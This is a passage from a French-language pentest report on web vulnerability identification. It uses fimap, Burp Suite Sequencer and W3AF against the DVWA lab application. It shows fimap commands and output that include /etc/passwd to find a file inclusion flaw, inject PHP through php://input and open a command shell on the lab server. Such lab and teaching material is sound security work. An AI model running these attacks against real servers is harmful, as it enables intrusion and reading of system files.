29 sur 41
Inclusion de fichiers Les failles de type LFI (Local File Include) et RFI (Remote File Include), sont des techniques permettant à un pirate informatique d accéder aux fichiers présents sur un serveur Web cible ou d inclure des fichiers d un serveur distant et ainsi faire exécuter du code arbitraire sur un serveur Web cible. Cette faille survient par exemple dans du code PHP, utilisant les fonctions include ou require sans précautions. Figure 6 Attaque Local File Include fimap fimap est un outil performant capable de rechercher les vulnérabilités de type inclusion de fichier (local et distant), en faisant un balayage sur une URL cible unique ( single mode ), sur une liste d URLs donnée ( mass mode ), ou un balayage automatique sur des URLs capturées par la technique du Google dorking. Il peut également explorer un site Web cible et en extraire la liste des URLs qu il contient pour ensuite les scanner (en mass mode ). Dans l exemple suivant on a lancé l outil fimap pour le balayage sur une URL http://192.168.0.14/vulnerabilities/ fi/?page= prise de DVWA, ce dernier dispose d un répertoire /vulnerabilities/fi/ permettant de tester les failles de types LFI et RFI. On lance le balayage sur cette l URL (avec l option -u), en sachant que la faille existe réellement. Il faut pas oublier de donner les cookies (avec l option cookie) nécessaire à la connexion, parce-que DVWA demande un login/mot de passe pour l accès. On a noté que l option cookie n a été ajouté à fimap que à partir de la version.09 qui est la dernière version. IDENTIFICATION DES VULNÉRABILITÉS page 30 sur 41
root@bt :/ pentest /web/fimap#./fimap.py u http ://192.168.0.14/ vulnerabilities/fi /?page= cookie= PHPSESSID=3g01vtv4gh971nupbag34jnr81 ; security=low fimap v.09 ( For the Swarm) :: Automatic LFI/RFI scanner and exploiter :: by Iman Karim ( fimap. dev@gmail.com) SingleScan is testing URL: http ://192.168.0.14/ v u l n e r a b i l i t i e s / fi /?page= [11:36:32] [OUT] Inspecting URL http ://192.168.0.14/ v u l n e r a b i l i t i e s / fi /?page =... [11:36:32] [INFO ] Fiddling around with URL... [11:36:32] [OUT] [PHP] Possible f i l e inclusion found! > http ://192.168.0.14/ v u l n e r a b i l i t i e s / fi /?page= TSoY7ED1 with Parameter page. [11:36:32] [OUT] [PHP] Ide ntifying Vulnerability http ://192.168.0.14/ v u l n e r a b i l i t i e s / fi /?page= with Parameter page... [11:36:32] [INFO ] Scriptpath received : / opt/lampp/htdocs/ v u l n e r a b i l i t i e s /fi [11:36:32] [INFO ] Operating System is Unix Like. [11:36:32] [INFO ] Testing f i l e / etc/passwd... ################################################################## #[1] Possible PHP File Inclusion # ################################################################## #::REQUEST # # [URL] http ://192.168.0.14/ vulnerabilities/fi /?page= # # [HEAD SENT] Cookie # #::VULN INFO # # [GET PARAM] page # # [PATH] /opt/lampp/htdocs/vulnerabilities/fi # # [OS] Unix # # [TYPE] Absolute Clean + Remote injection # # [TRUNCATION] No Need. It s clean. # # [READABLE FILES] # # [0] /etc/passwd # # [1] php:// input # # [2] http://www.phpbb.de/index.php # ################################################################## fimap a trouvé des failles de type LFI/RFI en incluant par exemple le chemin /etc/passwd à l URL. Enfin fimap donne la possibilité d exploiter les failles détectées en exécutant un script shell distant sur le serveur cible, avec l option -x. Ainsi comme c est montré ci-dessous on a pu accéder au serveur de DVWA et exécuter des commandes systèmes comme lister le contenu du répertoire /opt/lampp/htdocs/vulnerabilities/fi. IDENTIFICATION DES VULNÉRABILITÉS page 31 sur 41
root@bt : / Desktop/fimap alpha v09#./fimap.py x fimap v.09 ( For the Swarm) :: Automatic LFI/RFI scanner and exploiter :: by Iman Karim ( fimap. dev@gmail.com) ################################################### #:: List of Domains :: # ################################################### #[1] 192.168.0.14 # #[ ] And 0 hosts with no valid attack vectors. # #[q] Quit # ################################################### WARNING: Some domains may be not listed here because dynamic rfi is not configured! Choose Domain : /etc/passwd Inv alid Domain ID. Choose Domain : 192.168.0.14 Inv alid Domain ID. Choose Domain : 1 ################################################################################################# #:: FI Bugs on 192.168.0.14 :: # ################################################################################################# #[1] URL: / vulnerabilities/fi /?page= injecting file : php://input using GET param: page # #[q] Quit # ################################################################################################# WARNING: Some bugs are suppressed because dynamic rfi is not configured! Choose vulnerable script : 1 [11:57:09] [INFO ] Testing PHP code injection thru POST... [11:57:09] [OUT] PHP Injection works! Testing if execution works... [11:57:09] [INFO ] Testing execution thru popen [ b64 ]... [11:57:09] [OUT] Execution thru popen [ b64 ] works! #################################################### #:: Available Attacks PHP and SHELL access :: # #################################################### #[1] Spawn fimap shell # #[2] Spawn pentestmonkey s reverse shell # #[q] Quit # #################################################### Choose Attack : 1 Please wait Setting up s hell (one request )... Welcome to fimap shell! Better don t start interactive commands! ;) Also remember that this is not a persistent shell. Every command opens a new shell and quits it after that! Enter q to exit the shell. fishell@nobody :/ opt/lampp/htdocs/ v u l n e r a b i l i t i e s / fi \$> ls help include. php index. php source fishell@nobody :/ opt/lampp/htdocs/ v u l n e r a b i l i t i e s / fi \$> IDENTIFICATION DES VULNÉRABILITÉS page 32 sur 41
Analyse des cookies de sessions Un cookie est un fichier texte, crée par le serveur qui a besoin de mémoriser certains paramètres d un utilisateur. En rajoutant l en-tête Set-cookie dans sa réponse, le serveur indique au navigateur qu il souhaite y stocker un cookie. Le navigateur (s il le permet) crée le cookie demandé et le stocke dans une zone mémoire sûre, pour ensuite le joindre à l en-tête HTTP de toutes ses requêtes vers le même domaine tant que la session est active sur le serveur. Un cookie est cependant limité en taille, 4Ko maximum, il sert généralement à stocker les ID de sessions des utilisateurs afin de les authentifier. Tout système de session robuste doit être pourvu d un générateur de sessions efficace. Si le générateur de sessions délivre des jetons (ID) prédictibles, un attaquant n aura même pas besoin de voler les variables de session d un utilisateur, il lui suffira simplement de faire un brute force sur les cookies de sessions pour détourner aisément la session d un utilisateur. Il est donc important que les jetons de session (session-id) soient uniques pour chaque utilisateur et non prédictibles. Burp Suite - Sequencer Burp Suite Sequencer est un puissant module permettant de tester la fiabilité d éléments générés aléatoirement(cookies stockant les ID de sessions généralement). C est parce que les jetons de sessions sont utilisés pour authentifier un utilisateur, et donc ne devraient pas être compromis. Il est important pour une application Web de générer des jetons de session de façon aléatoire. Pour tester ce paramètre il faudrait envoyer une requête contenant un cookie de session déjà capturé par le proxy Burp au séquenceur Burp, qui ensuite à son tour émet cette requête au serveur à plusieurs reprises, obtenant ainsi un grand nombre de cookies contenants des ID de sessions, sur lesquels il appliquera divers tests statistiques paramétrés pour déterminer s ils sont bien générés de manière aléatoire. L outil propose deux modes : Le mode live capture permet une analyse pendant la navigation. Le mode manual load permet une analyse a posteriori d informations déjà capturées par Burp Suite. Burp Suite Sequencer effectue les tests suivants : Les tests sur les caractères : deux analyses sont effectuées l une sur la distribution des caractères à chaque position et l autre sur la probabilité qu un caractère soit suivi par un autre entre deux jetons, à chaque position. Les tests sur les bits : ou chaque caractère est transcrit sous forme de bit, et les tests s effectuent sur chaque bit des jetons capturés. Plusieurs tests sont effectués. Pour plus de détails sur les tests statistiques existants dans Burp Suite, se référer a la documentation officielle http:// portswigger.net/burp/help/sequencer.html ou le site http://www.aldeid.com/wiki/burpsuite:sequencer. Burp Suite Sequencer effectue ces tests statistiques sur une hypothèse supposée vraie: qui est que les jetons de sessions sont générés de manière aléatoire. Chaque test calcule la probabilités de certaines caractéristiques spécifiques, qui doivent apparaitre dans les jetons de sessions s ils ont été généré de manière aléatoire. Si cette probabilité est inférieure à un certain niveau ( significance level ), alors l hypothèse est rejetée et les jetons sont considérés comme non générés aléatoirement. On lance le Burp Suite Sequencer sur l application DVWA comme suit : 1 - On capture une requête contenant un cookie de session (en utilisant le proxy) et on l envoie au séquenceur. 2 - Dans le séquenceur on spécifie l emplacement du cookie de session dans l entête de la requête HTTP, et on lance la capture. IDENTIFICATION DES VULNÉRABILITÉS page 33 sur 41
Figure 7 Lancement de la capture des cookies de session avec le Burp Suite Sequencer Pour notre exemple on a pris 2287 jetons, en général il est conseillé de prendre le plus grand échantillon possible (au moins 2000 jetons) pour avoir un test fiable et réduire le taux des faux positifs/négatifs. Le rapport d analyse produit des graphique par onglets : le premier rapport est un résumé (summary) de l analyse. Comme le montre la figure suivante, Burp Suite Sequencer note de manière globale le degré de fiabilité des jetons capturés (excellent, good, poor, extremely poor, etc.). Figure 8 Vue globale des résultats des tests effectués avec Burp suite Sequencer Ci-dessous un exemple montrant le test effectué par le séquenceur sur les transitions de caractères ou il a analysé la probabilité qu un caractère soit suivi par un autre entre deux jetons, à chaque position des jetons capturés. Le graphe qui montre les caractères qui ont passé le test avec succés pour chaque significance level (0.0001%, 0.001%, etc.). On remarque sur la Figure 10 qu en effectuant ce test il a détecté 7 anomalies, par exemple on lit sur la première ligne du résultat que dans le bit a la position 3, une transition du caractère r à m apparait assez souvent. IDENTIFICATION DES VULNÉRABILITÉS page 34 sur 41
Figure 9 Graphe de résultat du test Character transition analysis avec Burp suite Sequencer Figure 10 Résultat du test Character transition analysis avec Burp suite Sequencer IDENTIFICATION DES VULNÉRABILITÉS page 35 sur 41
Scanneur de vulnérabilités des applications Web Les scanneurs de vulnérabilités des applications Web sont des outils pratiques qui permettent à un testeur de sécurité d exécuter vite un ensemble de tests sur une application Web pour vérifier l existence de failles de sécurité les plus importantes. De manière globale un scanneur de vulnérabilités d applications Web procède en plusieurs étapes : 1. Il crawle le site, dans le but de découvrir son arborescence (pages/fichiers). Pour cela il s appuie sur des fichiers internes (par exemple robots.txt, sitemap.xml ), explore les balises HTML et suit les liens hypertexte. Par la suite, le scanneur va essayer également de découvrir des fichiers et répertoires non mentionnés ou non pointés par un lien en testant au hasard des noms génériques tels que admin, test, etc. 2. Une fois la structure établie, le scanneur va lancer ses tests sur les différentes variables pour tenter de trouver des vulnérabilités comme XSS, SQL injection, XSRF, etc. 3. Enfin il peut essayer d exploiter ces failles trouvées. Il existe une multitude de scanneurs de vulnérabilités d applications Web sur le marchés certains payants et d autres gratuits et open source. Sous Backtrack il y a beaucoup de choix, dont on peut mentionner W3AF, Nikto, WebSecurify comme gratuits et Burp Suite dans lequel il faut payer pour utiliser la section de scanneur de vulnérabilité (les autres fonctionnalités sont gratuites). Mais en général, les scanneurs de vulnérabilités sont assez proches en terme de résultats et donnent toujours un pourcentage, parfois élevé, de faux positifs, il y a aussi des techniques basiques pour les faire planter. W3AF - Web Application Attack and Audit Framework C est un framework open source d audit d applications Web, qu on peut utiliser pour découvrir des vulnérabilités et les exploiter. Il est conçu en plugins reliés (environ 130) ce qui le rend évolutif; il est présent sous Backtrack en version console (en ligne de commande) et une version graphique plus conviviale. Techniquement les plugins W3AF sont classés en huit catégories qui se partagent les informations récoltés sur une cible précise : Ainsi les plugins (pris du guide technique [Ria08] repris en français par [Bou12]) : discovery dont l objectif est de découvrir un maximum de pages susceptibles de constituer des points d entrée (leurs URL, formulaires, etc.) Les plugins d audit qui se basent sur ces résultats envoyés afin de détecter des vulnérabilités (injection SQL, XSS, buffer overflows, etc.) dans les pages renvoyées. Les vulnérabilités ainsi découvertes sont ajoutées à une base de connaissance. Ces plugins principaux utilisent les autres plugins comme brute force permettant la recherche d identifiants par force brute, greps qui permettent une reconnaissance par mots clés (grep) dans le code des pages renvoyées, afin d isoler les commentaires, les champs de mots de passe, les adresses IP, etc. evasion qui modifient les requêtes pour assurer la furtivité (evasion firewall, IDS, etc.), output qui assurent la partie reporting, mangle qui modifient les requêtes et réponses en se basant sur les expressions régulières et enfin attaque qui permettent donc d exploiter ces vulnérabilités. Nous abordons un exemple (inspiré du tutoriel : http://resources.infosecinstitute.com/w3af-tutorial-2/), qui illustre la façon dont le plugin discovery et audit partagent entre eux des informations. Notamment des URL trouvés par le plugin discovery qui pourront servir de points d injection pour le plugin audit. Les deux des plugins de découverte les plus utiles sont webspider qui a partir d une URL en entrée extrait tous les liens et les formulaires de la cible (points d injection possibles). L autre plugin nommé spiderman est également un plugin très utile pour les sites qui utilisent Flash ou Javascript. Fondamentalement, il est difficile pour les web crawlers de chercher des renseignements si un site utilise du Javascript etc. parce qu il n est pas en mesure de comprendre ce que le code Javascript est censé faire. La plupart des web crawlers cherchent donc de l information statique comme des liens, des formulaires, etc. par exemple quand le plugin webspider atteint un formulaire de connexion il entrera automatiquement des informations d identification si le plugin auth est activé (et toutes ces options sont remplis correctement) et poursuit son processus d exploration. Dans les cas où l application Web utilise du Javascript ou du Flash, le plugin spiderman doit être utilisé. Ce plugin démarre un proxy, et l utilisateur doit navigueràtraversce proxy et sur la base des résultatsde cette navigation, le plugin est tente IDENTIFICATION DES VULNÉRABILITÉS page 36 sur 41
d identifier des points d injection possibles et envoie le résultat aux plugins d audit pour déterminer si ce sont des points dangereux ou pas. Une autre caractéristique importante du plugin spiderman est la possibilité d enregistrer les cookies, de les réutiliser et de les envoyer aux autres plugins qui peuvent donc les exploiter pour leurs explorations. W3AF propose des profils prédéfinis avec des outils conseillés, mais l utilisateur peut choisir un ensemble d outils dont il a besoin pour faire ses tests. On a essayer de tester un scan sur l application Damn Vulnerable Web App en utilisant le profil OWASP TOP10, tout en ajoutant le web crawler/proxy : spiderman, pour avoir les résultats les plus complets possibles. On doit configurer notre navigateur qui est Mozilla Firefox pour utiliser le proxy spiderman pour la navigation, puis on se connecte à l application DVWA comme décrit dans la section??. On constate que le plugin spiderman surveille et enregistre ces événements. Figure 11 Le plugin spiderman Ensuite on explore la section résultats où on a l arborescence de l application découverte par les web crawlers. IDENTIFICATION DES VULNÉRABILITÉS page 37 sur 41
Figure 12 Résultats des URL trouvées par spiderman et webspider Maintenant, les plugins d audit exploitent les points d injection découverts par les plugins de découverte et envoient des données construites spécifiquement à tous ces derniers afin de trouver des vulnérabilités. Par exemple les plugins d audit pour les vulnérabilités d injection SQL et XSS. L audit consiste donc à éliminer toutes les URL suffisamment protégées afin d en faire ressortir que les vulnérables. Figure 13 Failles XSRF trouvées par le plugin d audit de W3AF IDENTIFICATION DES VULNÉRABILITÉS page 38 sur 41
Liste des figures 1 Scan DNS sous Maltego............................................ 10 2 Interception de cookies avec le proxy Burp.................................. 20 3 SQL injection.................................................. 22 4 XSS non permanent.............................................. 26 5 XSS permanent................................................. 27 6 Attaque Local File Include......................................... 30 7 Lancement de la capture des cookies de session avec le Burp Suite Sequencer.............. 34 8 Vue globale des résultats des tests effectués avec Burp suite Sequencer.................. 34 9 Graphe de résultat du test Character transition analysis avec Burp suite Sequencer......... 35 10 Résultat du test Character transition analysis avec Burp suite Sequencer............... 35 11 Le plugin spiderman.............................................. 37 12 Résultats des URL trouvées par spiderman et webspider.......................... 38 13 Failles XSRF trouvées par le plugin d audit de W3AF........................... 38 LISTE DES FIGURES page 39 sur 41
Références bibliographiques [ALL08] Cristophe ALLADOUM: Google Hacking, 2008. URL : www.hsc.fr/ressources/articles/hakin9_ googlehacking/ca-hakin9-06-2008-googlehacking.pdf. [AY09] Farkhod Alisherov A et Feruza Sattarova Y: Methodology for Penetration Testing. International Journal of Grid and Distributed Computing, 2(2), juin 2009. URL : http://sersc.org/journals/ijgdc/vol2_no2/ 5.pdf. [Bou12] Slimane Bouhadi: Tutoriel d utilisation de l outil W3Af. rapport technique, UNIVERSITE PARIS DES- CARTES, 2012. URL : http://belkhir.nacim.free.fr/rapports_20111-2012/slimane_bouhadi/wa3f/ PRESENTATION%20W3AF.pdf. [Lyo08] Gordon Fyodor Lyon: Nmap Network Scanning. 2008. URL : http://nmap.org/book/. [Ria08] Andres Riancho: w3af User Guide, Dec 2008. URL : http://w3af.svn.sourceforge.net/viewvc/w3af/ trunk/readme/en/w3af-users-guide.pdf. RÉFÉRENCES BIBLIOGRAPHIQUES page 40 sur 41